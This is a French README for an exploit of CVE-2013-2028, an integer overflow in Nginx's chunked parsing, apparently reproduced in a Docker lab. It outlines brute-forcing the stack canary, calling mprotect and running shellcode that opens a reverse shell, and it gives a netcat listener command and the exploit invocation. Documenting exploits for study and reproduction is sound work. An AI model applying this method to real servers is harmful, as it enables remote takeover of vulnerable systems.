Exploit CVE-2013-2028

Détails de la vulnérabilité

Logiciel vulnérable : Nginx 1.3.9 < 1.4.0
Commit contenant le correctif : https://github.com/nginx/nginx/commit/4997de8005630664ab35f27140e2077e818b21a7

La vulnérabilité se trouve dans la fonction ngx_http_parse_chunked. Cet exploit déclenche un dépassement d'entier dans ngx_http_parse_chunked, puis l'utilise pour déborder la pile et détourner le flux de contrôle.

Détails de l'exploitation

L'exploit comporte 4 étapes :

1. Trouver la valeur du canari de pile par force brute octet par octet
2. Calculer l'adresse de mprotect en utilisant la valeur de rcx (pointe quelque part dans lpthread). Appeler mprotect avec les arguments appropriés.
3. Copier le shellcode vers un emplacement mémoire RWX.
4. Sauter vers le shellcode et lancer un reverse shell.

Comment reproduire

1. démarrer un listener sur le système hôte, par exemple avec netcat : nc -lvp 4345
2. sur la machine virtuelle, démarrer docker : sudo docker-compose up --build
3. exécuter l'exploit : python2 exploit.py -ra 127.0.0.1 -rp 8081 -la <listener machine address> -lp <listener machine port>
4. Laisser l'exploit trouver la valeur réelle du canari et lancer le reverse shell.